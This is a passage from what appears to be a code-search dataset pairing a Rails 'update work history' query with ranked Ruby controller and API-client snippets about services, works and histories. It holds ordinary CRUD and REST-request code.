@api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListServicesResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceApi#list_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a6d3c7b4b5f0419477a06f4f948c6790", "score": "0.6442585", "text": "def get_service(service = nil)\n log.debug \"Requesting #{api_service_url(service_name(service))} \" \\\n \"as user #{api_user}\"\n response = RestClient::Request.execute(\n method: :get,\n url: api_service_url(service_name(service)),\n user: api_user,\n password: generate_token,\n headers: {\n user_agent: RestClient::Platform.default_user_agent.prepend(\n \"confidant-client/#{Confidant::VERSION} \"\n )\n }\n )\n\n JSON.parse(response.body)\n rescue StandardError => ex\n Confidant.log_exception(self, ex)\n @suppress_errors ? api_error_response : raise\n end", "title": "" }, { "docid": "91553768d88779a7c6504cc37d5f5220", "score": "0.6437377", "text": "def show\n @service=Service.find(params[:id])\n respond_to do |format|\n format.html { render :layout => 'layout_welc' }\n format.json { render :json => @service.as_json({:include=>{:service_translations=>{:include=>:language},:city=>{:include=>:country},:photo_services=>{},:types=>{},:comment_services=>{:include=>:mobile_user}}})}\n end\n end", "title": "" }, { "docid": "1536a40691e9417883bce64c500c18ae", "score": "0.6432257", "text": "def new\n @service = {}\n @app = @client.app(params[:app_id])\n\n @services = {}\n if @app['provider']\n provider = cached_provider(@app['provider']['id'])\n @services = provider['service_vendors']\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "691f43b6258f79655d816db15ddf391c", "score": "0.6431743", "text": "def index\n @medical_services = MedicalService.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medical_services }\n end\n end", "title": "" }, { "docid": "9f05a7a01ab5b2a939e042aa59f7a227", "score": "0.6423593", "text": "def services(options = {})\n ret = send_get_request(@conn, ['/v1/agent/services'], options)\n JSON.parse(ret.body).tap { |node| OpenStruct.new node }\n end", "title": "" }, { "docid": "c7760b07b4497b23a85afab2e7218d1d", "score": "0.6403346", "text": "def index\n @servservices = Servservice.all\n end", "title": "" }, { "docid": "1f94ad851e13e12488fb524388014a23", "score": "0.63909227", "text": "def index\n @our_services = OurService.all\n end", "title": "" }, { "docid": "aa2b871781011f4ed8ea9c32b370f201", "score": "0.6377833", "text": "def supplier_services\n @services = Supplier.find(params[:id]).services\n render :action => 'services.json'\n end", "title": "" }, { "docid": "15e639a3882e4b1882ec3bb403902e27", "score": "0.63736916", "text": "def index\n @services = Service.all\n #debug()\n end", "title": "" }, { "docid": "b6947a4807a0faa56a7b630ac2ccdd84", "score": "0.63712966", "text": "def index\n if request.format == :json\n @model_year_services = ModelYearService.includes(:service)\n else\n @model_year_services = ModelYearService.paginate(page: params[:page]).\n order(model_year_service_update_requests_count: :desc).\n includes(:service)\n end\n\n respond_to do |format|\n format.html\n format.json { render json: @model_year_services }\n end\n end", "title": "" }, { "docid": "e7cba37f28c1ed07097fb18b462aea2f", "score": "0.6365661", "text": "def get_service_info(params = {})\n get('services/me')\n end", "title": "" }, { "docid": "cdc596d2950e80a528be10907600a4fa", "score": "0.63592017", "text": "def index\n #@services = Service.all\n respond_to do |format|\n format.html\n format.json { render json: ServicesDatatable.new(view_context) }\n end\n end", "title": "" }, { "docid": "f76d5c04d93e944c82374b28ae44ebba", "score": "0.6356269", "text": "def services\n ServicesController.instance\n end", "title": "" }, { "docid": "78d4d263e71ba23e841730dc5f672698", "score": "0.63522017", "text": "def get_services\n respond_to do |format|\n format.js do\n @services = Staff.where(id: params[:staff_id]).first.services\n render json: @services\n end\n end\n end", "title": "" }, { "docid": "eb936b8eaa49e4a9609471a70bfbe0d7", "score": "0.63457197", "text": "def index\n @services = Service.all.page(params[:page])\n end", "title": "" }, { "docid": "c2f151a03038866f8f1b4cf40d3ba8a7", "score": "0.633568", "text": "def show\n @project_service = ProjectService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @project_service }\n end\n end", "title": "" }, { "docid": "93210714ca36a1ebfa6121bec18eaf65", "score": "0.6332967", "text": "def network_services_all\n begin\n print_verbose \"Retrieving all network services\"\n response = RestClient.get \"#{@url}network/services\", {:params => {:token => @token}}\n details = JSON.parse(response.body)\n print_good \"Retrieved #{details['count']} network services\"\n details\n rescue => e\n print_error \"Could not retrieve network services: #{e.message}\"\n end\nend", "title": "" }, { "docid": "8de38cb6c59a15235e2df222ea04c980", "score": "0.6321665", "text": "def index\n @user_services = UserService.all\n end", "title": "" }, { "docid": "eb014d63c4da9b3ff6deb92c9941da80", "score": "0.63207173", "text": "def service\n Project.hit 35\n\n @train = get_service params[:service]\n\n respond_to do |format|\n format.html\n format.json { render json: @trains, callback: params[:callback] }\n format.xml { render xml: @trains }\n end\n end", "title": "" }, { "docid": "29bad2d647730cbada53d836c52d40e4", "score": "0.6311722", "text": "def index\n @service_numbers = ServiceNumber.all\n\n render json: @service_numbers\n end", "title": "" }, { "docid": "cb5fca1023da8656ac8821eb49d0da70", "score": "0.6307199", "text": "def index\n # @services = policy_scope(Service)\n @services = Service.all.order(updated_at: :desc)\n render json: @services\n end", "title": "" }, { "docid": "7da590e01c7b123a5ba699b8188ef569", "score": "0.63050175", "text": "def find_services_by_item(id, options={})\n self.class.get(\"/items/#{id}/services.json?apikey=#{apikey}\", :query => options)\n end", "title": "" }, { "docid": "632b860b18bbaa95f55a93e02c616f74", "score": "0.630317", "text": "def service(id, options = {}) \n response = get(\"/services/#{id}\", options)\n response[:service]\n end", "title": "" }, { "docid": "43ad96e510b75ddd3460a80ac60a7163", "score": "0.6301868", "text": "def service_list # rubocop:disable Metrics/AbcSize\n list_result = SrvList.new(@options)\n helper = PaasHelpers.new if @options[:paas_rest_endpoint]\n @options[:paas_rest_endpoint] = helper.paas_url(@options) if @options[:paas_rest_endpoint]\n list_result.url = @options[:paas_rest_endpoint] if @options[:paas_rest_endpoint]\n if @options[:inst]\n inst_list(list_result)\n else\n result = list_result.service_list\n @util.response_handler(result)\n JSON.pretty_generate(JSON.parse(result.body))\n end\n end", "title": "" }, { "docid": "47f671460cd60932376d27f805532f6c", "score": "0.6297535", "text": "def stats\n service = Service.find(params[:id])\n\n render(:json => CodeburnerUtil.get_service_stats(service.id))\n rescue ActiveRecord::RecordNotFound\n render(:json => {error: \"Service or findings not found}\"}, :status => 404)\n end", "title": "" }, { "docid": "456c0ade6172fe5338b797e73f9d2b7d", "score": "0.6292538", "text": "def service_info(name)\n require_login\n raise CloudFoundry::Client::Exception::BadParams, \"Name cannot be blank\" if name.nil? || name.empty?\n get(\"#{CloudFoundry::Client::SERVICES_PATH}/#{name}\")\n end", "title": "" }, { "docid": "b4b25f0103c69a8d64d3e49f2475742b", "score": "0.6273531", "text": "def index\n @servicos = Servico.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servicos }\n end\n end", "title": "" } ]
b65c72a008eb42069f232cc04015442f
PATCH/PUT /work_histories/1 PATCH/PUT /work_histories/1.json
[ { "docid": "250ce7d927b36fff0543ebd07254bf2c", "score": "0.69434947", "text": "def update\n respond_to do |format|\n if @work_history.update(work_history_params)\n format.html { redirect_to admin_employee_work_histories_path(@employee), notice: 'Work history was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_history }\n else\n format.html { render :edit }\n format.json { render json: @work_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "f2404dde11983b46b93f0855943b0654", "score": "0.66819274", "text": "def update\n @work = Work.find(params[:id])\n work_params = params[:work]\n work_params.delete('progress')\n respond_to do |format|\n if @work.update_attributes(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "222df25c5a58170c1096769c10fbc312", "score": "0.65998834", "text": "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6056b547f698f386d46975134897cf93", "score": "0.6594762", "text": "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to action: 'index', flash: {notice: 'Work item was successfully updated.' }}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a2b296eb2bea4ea34d7ca02e8f487f0", "score": "0.6425657", "text": "def update\n @work_log = WorkLog.find(params[:id])\n\n respond_to do |format|\n if @work_log.update_attributes(params[:work_log])\n format.html { redirect_to @work_log, notice: 'Work log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb3d010f43b6413b7a59f1f40572b984", "score": "0.6390114", "text": "def update\n respond_to do |format|\n if @historial.update(historial_params)\n format.html { redirect_to @historial, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @historial }\n else\n format.html { render :edit }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb3d010f43b6413b7a59f1f40572b984", "score": "0.6390114", "text": "def update\n respond_to do |format|\n if @historial.update(historial_params)\n format.html { redirect_to @historial, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @historial }\n else\n format.html { render :edit }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33e7e30f4d82663028d5cde1711f8bf3", "score": "0.63785905", "text": "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33e7e30f4d82663028d5cde1711f8bf3", "score": "0.63785905", "text": "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33e7e30f4d82663028d5cde1711f8bf3", "score": "0.63785905", "text": "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33e7e30f4d82663028d5cde1711f8bf3", "score": "0.63785905", "text": "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3276fe5ec3abe7add4ee17bc56223a4", "score": "0.63653296", "text": "def update\n respond_to do |format|\n if @jobshistory.update(jobshistory_params)\n format.html { redirect_to current_user, notice: 'Job History was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @jobshistory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46060bccba7e2901806d5aabf41d319f", "score": "0.6359529", "text": "def update\n respond_to do |format|\n if @work.update_attributes(params[:work])\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.work'))\n format.html { redirect_to work_url(@work) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render :action => \"edit\" }\n format.json { render :json => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "01227fc95520aa65bf5bb1d6d96a732f", "score": "0.634666", "text": "def update\n respond_to do |format|\n if @pending_work.update(pending_work_params)\n format.html { redirect_to @pending_work, notice: 'Pending work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pending_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e66d7bcec4549fb6c06cbf933f42de81", "score": "0.63316983", "text": "def update\n @bookwork = Bookwork.find(params[:id])\n\n respond_to do |format|\n if @bookwork.update_attributes(params[:bookwork])\n format.html { redirect_to @bookwork, notice: 'Bookwork was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bookwork.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efec4879ed756680022f2a7063dacc2d", "score": "0.6325768", "text": "def update\n\n respond_to do |format|\n errors = Work.update(current_user, params[:id], work_params)\n if !errors\n format.json { render json: {}, status: :ok }\n else\n format.json { render json: { error: errors }, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "90c905609865a02d9fe7bb7d2cb03612", "score": "0.6294071", "text": "def update\n if params[:work] && params[:work][:tag_list] && params[:work][:title]\n # Add the work's title to the list of tags\n params[:work][:tag_list].downcase!\n separated_title = params[:work][:title].downcase.split(/\\s+/)\n separated_title.each do |tag|\n unless params[:work][:tag_list].include? tag\n params[:work][:tag_list] = params[:work][:tag_list] + ', ' + tag\n end\n end\n end\n\n @work = Work.friendly.find(params[:id])\n @work.slug = nil\n\n if !params[:work][:novel_id].blank?\n @work.novel = Novel.find(params[:work][:novel_id])\n else\n @work.novel = nil\n end\n\n if @work.update(work_params)\n # Inform users who favourited the work that is has been updated\n send_new_update_notifications(@work) unless @work.is_private or @work.is_anonymous\n record_edit_history(@work, current_user)\n\n flash[:success] = 'The work was successfully edited.'\n redirect_to @work\n else\n @work_errors = {}\n @work.errors.each do |attr, msg|\n @work_errors[attr] = msg\n end\n render 'edit'\n end\n end", "title": "" }, { "docid": "dc90257f871c0587a84d3aed8515e650", "score": "0.62831295", "text": "def update\n @workobject = Workobject.find(params[:id])\n\n respond_to do |format|\n if @workobject.update_attributes(params[:workobject])\n format.html { redirect_to @workobject, notice: 'Workobject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workobject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0da2edb07512dd9741944e8fcd3030f0", "score": "0.62803066", "text": "def update\n @operation_history = OperationHistory.find(params[:id])\n\n respond_to do |format|\n if @operation_history.update_attributes(params[:operation_history])\n format.html { redirect_to @operation_history, notice: 'Operation history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3eac0522661dcb81bb8a2bde6bfb6819", "score": "0.6273247", "text": "def update\n @historial = Historial.find(params[:id])\n\n respond_to do |format|\n if @historial.update_attributes(params[:historial])\n format.html { redirect_to @historial.cartucho, notice: 'Historial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e79687b190c91628b826f1811993955d", "score": "0.6262222", "text": "def update\n @work = Work.find(params[:id])\n if params.has_key?(:desc)\n puts \"desc\";\n @work.description = params[:desc]\n elsif params.has_key?(:status)\n @work.status = params[:status]\n puts @work.status\n # num = current_user.works.where(:all, :conditions => [\"status = ?\", params[:status]])\n # puts num\n # count the number of completed tasks \n else\n render :json => {:id => 0}\n end\n\n if @work.save\n puts @work.status\n render :json => {:id => @work.id}\n else\n render :json => {:id => 0}\n end \n\n end", "title": "" }, { "docid": "8338dfbd4a9a2e036b52f2b5b8b4f594", "score": "0.6246965", "text": "def update\n @harvesting = Harvesting.find(params[:id])\n @harvest = @harvesting.harvest\n\n respond_to do |format|\n if @harvesting.update_attributes(params[:harvesting])\n if params[:commit] == \"Log Work and Add Another\"\n format.html { redirect_to new_harvest_harvesting_path(@harvest), notice: \"Updated harvester's work successfully.\" }\n else\n format.html { redirect_to @harvesting.harvest, notice: \"Updated harvester's work successfully.\" }\n end\n format.json { render json: @harvesting, location: @harvesting }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @harvesting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22c9e5075101e405b7ea6c23ce47dbb8", "score": "0.62460834", "text": "def update\n @historial_odt = HistorialOdt.find(params[:id])\n\n respond_to do |format|\n if @historial_odt.update_attributes(params[:historial_odt])\n format.html { redirect_to @historial_odt, notice: 'Historial odt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial_odt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dce36c38947e2d0f67fe8239c081c4c8", "score": "0.62434477", "text": "def update\n respond_to do |format|\n if @histroal.update(histroal_params)\n format.html { redirect_to @histroal, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @histroal }\n else\n format.html { render :edit }\n format.json { render json: @histroal.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b7ac921fdb392d3316bfe3a92dc5769", "score": "0.6242612", "text": "def update\n @work.extra = process_extra if params[:work][:extra_keys] && params[:work][:extra_keys]!= \"\"\n respond_to do |format|\n if @work.update_attributes(params[:work].except(:extra_keys, :extra_values))\n Work.create_locations(@work) if @work.places#.changed?\n Location.destroy_unused\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67198f30fc3ba4fdb80a5b0376cc1e0a", "score": "0.62246716", "text": "def update\n\t\t@work = Work.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @work.update_attributes(params[:work])\n\t\t\t\tformat.html { redirect_to @work, notice: 'Work was successfully updated.' }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @work.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "e6f48d7add991af642603cefeb31ea86", "score": "0.62203705", "text": "def update\n @my_posted_homework = MyPostedHomework.find(params[:id])\n\n respond_to do |format|\n if @my_posted_homework.update_attributes(params[:my_posted_homework])\n format.html { redirect_to @my_posted_homework, notice: 'My posted homework was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_posted_homework.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12b5d7ffa040f1272377fbbad51bd632", "score": "0.62203604", "text": "def update\n respond_to do |format|\n if @house_work.update(house_work_params)\n format.html { redirect_to @house_work, notice: 'House work was successfully updated.' }\n format.json { render :show, status: :ok, location: @house_work }\n else\n format.html { render :edit }\n format.json { render json: @house_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a656e874b223e4dca7e5be1af534849", "score": "0.62173826", "text": "def update\n respond_to do |format|\n if @homework.update(homework_params)\n format.html { redirect_to standard_path(@homework.standard), notice: 'Homework was successfully updated.' }\n format.json { render :show, status: :ok, location: @homework }\n else\n format.html { render :edit }\n format.json { render json: @homework.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b54b14d16e13d5822d5654805a9ccb40", "score": "0.6175505", "text": "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "776345dedbd0fd975ab8c8107f277608", "score": "0.6164444", "text": "def update\n respond_to do |format|\n if @historic.update(historic_params)\n format.html { redirect_to @historic, notice: 'Historic was successfully updated.' }\n format.json { render :show, status: :ok, location: @historic }\n else\n format.html { render :edit }\n format.json { render json: @historic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5adc071ac70442e8ab9181648c94eed9", "score": "0.61536735", "text": "def update\n @historical = Historical.find(params[:id])\n\n respond_to do |format|\n if @historical.update_attributes(params[:historical])\n format.html { redirect_to @historical, notice: 'Historical was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historical.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e6f6964edff9b5fe9358188404558c9", "score": "0.6146211", "text": "def update\n respond_to do |format|\n old = @hr_person\n if @hr_person.update(hr_person_params)\n if params[:change_seat]\n @hr_person.hr_person_histories.create(old.attributes.except('id', 'created_by', 'updated_by', 'created_at', 'updated_at'))\n end\n format.html { render :js => view_context.close_window_show_tips('parent.MAIN_LAYER_WINDOW', '资料创建成功!') }\n format.json { render :show, status: :ok, location: @hr_person }\n else\n format.html { render :edit }\n format.json { render json: @hr_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16801860adb7001a9116bf2e76435579", "score": "0.6144144", "text": "def update\n respond_to do |format|\n if @issue_history.update(issue_history_params)\n format.html { redirect_to @issue_history, notice: 'Issue history was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_history }\n else\n format.html { render :edit }\n format.json { render json: @issue_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16801860adb7001a9116bf2e76435579", "score": "0.6144144", "text": "def update\n respond_to do |format|\n if @issue_history.update(issue_history_params)\n format.html { redirect_to @issue_history, notice: 'Issue history was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_history }\n else\n format.html { render :edit }\n format.json { render json: @issue_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb0e43ce9df0e5d9e12927efaf1d8526", "score": "0.6141716", "text": "def update\n respond_to do |format|\n if @job_history.update(job_history_params)\n format.html { redirect_to @job_history, notice: 'Job history was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_history }\n else\n format.html { render :edit }\n format.json { render json: @job_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b50403281290db7392e72431adc7a30f", "score": "0.6131362", "text": "def update\n respond_to do |format|\n if @homework.update(homework_params)\n format.html { redirect_to @homework, notice: 'Homework was successfully updated.' }\n format.json { render :show, status: :ok, location: @homework }\n else\n format.html { render :edit }\n format.json { render json: @homework.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13b898b5ce790a356f742676855b3e05", "score": "0.61084753", "text": "def update\n respond_to do |format|\n if @unique_whiteline.update(unique_whiteline_params)\n format.html { redirect_to @unique_whiteline, notice: 'Unique whiteline was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @unique_whiteline.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cac3cfe85b1d579a053369092ca71386", "score": "0.6103455", "text": "def update\n @myworkout = Myworkout.find(params[:id])\n\n respond_to do |format|\n if @myworkout.update_attributes(params[:myworkout])\n format.html { redirect_to @myworkout, :notice => 'Myworkout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @myworkout.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bc5dcd688b57938a86f0fba95d644d5", "score": "0.6102825", "text": "def update\n respond_to do |format|\n if @scientific_work.update(scientific_work_params)\n format.html { redirect_to @scientific_work, notice: 'Scientific work was successfully updated.' }\n format.json { render :show, status: :ok, location: @scientific_work }\n else\n format.html { render :edit }\n format.json { render json: @scientific_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bb615c7ec5a8badc3314832ef429a882", "score": "0.61027384", "text": "def update\n @work_activity = WorkActivity.find(params[:id])\n\n respond_to do |format|\n if @work_activity.update_attributes(params[:work_activity])\n format.html { redirect_to @work_activity, notice: 'Work activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40e06405230b093b709537d9d4b324ff", "score": "0.60952985", "text": "def update\n #@fundamentals_history = FundamentalsHistory.find(params[:id])\n @fundamentals_history = @company.fundamentals_histories.find(params[:id])\n\n respond_to do |format|\n if @fundamentals_history.update_attributes(params[:fundamentals_history])\n format.html { redirect_to @fundamentals_history, notice: 'Fundamentals history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fundamentals_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d16dd056781bc3c7634ad43c11d2ef32", "score": "0.60876805", "text": "def update\n @workdetail = Workdetail.find(params[:id])\n @taskid = @workdetail.task_id\n respond_to do |format|\n if @workdetail.update_attributes(params[:workdetail])\n format.html { redirect_to :action => \"show\", :id => @taskid, notice: 'Workdetail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workdetail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9ea180739d631ca6b370eefc58c030e", "score": "0.6071484", "text": "def update\n respond_to do |format|\n if @laptop_history.update(laptop_history_params)\n format.html { redirect_to @laptop_history, notice: 'Laptop history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @laptop_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70c3acf24462d5c01e936b61e574d286", "score": "0.6068533", "text": "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to user_work_path(@user.id, @work.id), notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end \n end\n end", "title": "" }, { "docid": "16409ea4d142e374e47a2dd650c06f24", "score": "0.6066014", "text": "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: '修改成功!' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c6ecb9e86a33ea51f023bda6cfb6ef2", "score": "0.60621846", "text": "def update\n respond_to do |format|\n if @homily.update(homily_params)\n \n format.html { redirect_to @homily, notice: 'Homily was successfully updated.' }\n format.json { render :show, status: :ok, location: @homily }\n else\n format.html { render :edit }\n format.json { render json: @homily.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b4f35eeed5be4570990656778193e9c", "score": "0.606191", "text": "def update\n @homework_item = HomeworkItem.find(params[:id])\n\n respond_to do |format|\n if @homework_item.update_attributes(params[:homework_item])\n format.html { redirect_to @homework_item, notice: 'Homework item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @homework_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc7a7f24ca123cd3a2c288fc6ac80ebb", "score": "0.6046405", "text": "def update\n params[:workout][:workout_date] = \"#{params[:workout][:workout_date]} #{params[:workout][:time]}\"\n params[:workout] = params[:workout].slice(:workout_date, :exercises_attributes)\n @lift_name = params[:workout][:exercises_attributes][\"0\"][:lift_id]\n params[:workout][:exercises_attributes][\"0\"][:lift_id] = Lift.find_by_lift_name(@lift_name).id\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n if @workout.update_attributes(params[:workout])\n format.html { redirect_to @workout, notice: 'Workout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9be68eac1011ff43a3bc3e3279629338", "score": "0.60437185", "text": "def update\n respond_to do |format|\n if @history.update(history_params)\n format.html { redirect_to @history, notice: 'History was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd0401ac3048cac224657687c445da8", "score": "0.6040191", "text": "def update\n @work_history_item = WorkHistoryItem.find(params[:id])\n\n respond_to do |format|\n if @work_history_item.update_attributes(params[:work_history_item])\n flash[:notice] = 'WorkHistoryItem was successfully updated.'\n format.html { redirect_to(@work_history_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @work_history_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74367c6d9bd02154f853e31193daa4f6", "score": "0.60353833", "text": "def update\n respond_to do |format|\n if @work.update(work_params)\n process_work_contributors\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n 